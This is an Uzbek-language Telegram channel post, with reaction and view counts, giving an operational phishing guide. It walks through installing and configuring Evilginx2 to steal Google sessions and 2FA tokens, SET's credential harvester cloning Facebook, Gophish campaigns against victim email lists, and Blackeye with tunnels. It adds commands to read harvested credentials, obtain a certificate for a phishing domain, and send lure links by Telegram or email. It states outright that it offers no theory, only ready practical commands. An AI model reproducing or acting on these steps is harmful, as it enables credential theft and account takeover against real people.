kodra Dasturchilar

Phishing orgataman yarim qisim reaksiya 20 ta ❤️

❤26🎉17😁15👍8🆒5🤣3😱2⚡1

325 views𝓡𝓊𝓈𝓁𝒶𝓃, 03:49

🎣 PHISHING – NIMA VA QANDAY ISHLATILADI?

Phishing – bu haqiqiy saytlar klonlari orqali login, parol, 2FA tokenlari va bank maʼlumotlarini oʻgʻirlash usuli.
Quyida toʻgʻridan-toʻgʻri amaliyotda ishlatiladigan 4 ta vosita va ularning kod/buyruqlari keltirilgan.

━━━━━━━━━━━━━━━━━━

🛠 1. Evilginx2 – 2FA va sessiyalarni oʻgʻirlash

⚙️ Oʻrnatish va ishga tushirish (Ubuntu/Debian):

sudo apt update && sudo apt install git build-essential -y
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo make install
sudo evilginx

📌 Sozlash:

config domain sizning-domen.uz
config ip sizning-server-ip
phishlet get google
phishlet enable google
lure create google
lure get-url 0   # 0 – yaratilgan lure indeksi

🔐 Qurbon kiritgan hamma maʼlumotlar:

tail -f ~/evilginx2/logs/access.log

━━━━━━━━━━━━━━━━━━

🛠 2. Social-Engineer Toolkit (SET) – tayyor formalar

⚙️ Oʻrnatish:

git clone https://github.com/trustedsec/social-engineer-toolkit.git
cd social-engineer-toolkit
sudo python3 setup.py install
sudo setoolkit

📌 Menyu boʻyicha:

1) Social-Engineering Attacks
2) Website Attack Vectors
3) Credential Harvester Attack Method
4) Site Cloner -> maqsadli sayt URL (masalan https://facebook.com)

🔐 Log fayli:

tail -f /var/www/html/logs/credentials.txt

━━━━━━━━━━━━━━━━━━

🛠 3. Gophish – kampaniyalarni boshqarish

⚙️ Yuklab olish va ishga tushirish:

wget https://github.com/gophish/gophish/releases/latest/download/gophish-vX.X.X-linux-64bit.zip
unzip gophish-*.zip
cd gophish-*
sudo ./gophish

🔐 Veb-interfeys: https://localhost:3333 (login: admin, parol: sozlamada koʻrsatiladi)

📌 Kampaniya yaratish:

· Email template (HTML matn)
· Sending profile (SMTP sozlamalari)
· Landing page (klonlangan sayt URL)
· Targets (qurbonlar email roʻyxati)
· Start campaign

Statistika panelda real vaqtda koʻrinadi.

━━━━━━━━━━━━━━━━━━

🛠 4. Blackeye – tayyor HTML klonlar (30+ sayt)

⚙️ Oʻrnatish va ishga tushirish:

git clone https://github.com/An0nUD4Y/blackeye.git
cd blackeye
bash blackeye.sh

📌 Menyudan raqamni tanlang (masalan, 1 – Facebook).
Skript avtomatik ngrok/Cloudflare tunnel orqali tashqi havola yaratadi.
🔐 Maʼlumotlar:

cat sites/*.txt

━━━━━━━━━━━━━━━━━━

🔗 Toʻgʻridan-toʻgʻri havolalar (kanalga joylash uchun):

· Evilginx2: github.com/kgretzky/evilginx2
· SET: github.com/trustedsec/social-engineer-toolkit
· Gophish: github.com/gophish/gophish
· Blackeye: github.com/An0nUD4Y/blackeye

━━━━━━━━━━━━━━━━━━

📹 Video darsliklar (amaliy, tayyor):

· Evilginx2 setup 2026 – YouTube
· SET phishing tutorial – YouTube
· Gophish campaign real – YouTube

━━━━━━━━━━━━━━━━━━

⚡️ Ishga tushirish ketma-ketligi (video uchun):

1. Klon olish (yuqoridagi vositalardan biri)
2. Domen va SSL (Let's Encrypt):

   sudo certbot certonly --standalone -d sizning-domen.uz

3. Havolani yuborish (Telegram/email)
4. Loglarni kuzatish (tail -f)

Hech qanday nazariya, faqat tayyor amaliy buyruqlar.

❤1🤷‍♂1

371 views𝓡𝓊𝓈𝓁𝒶𝓃, 05:26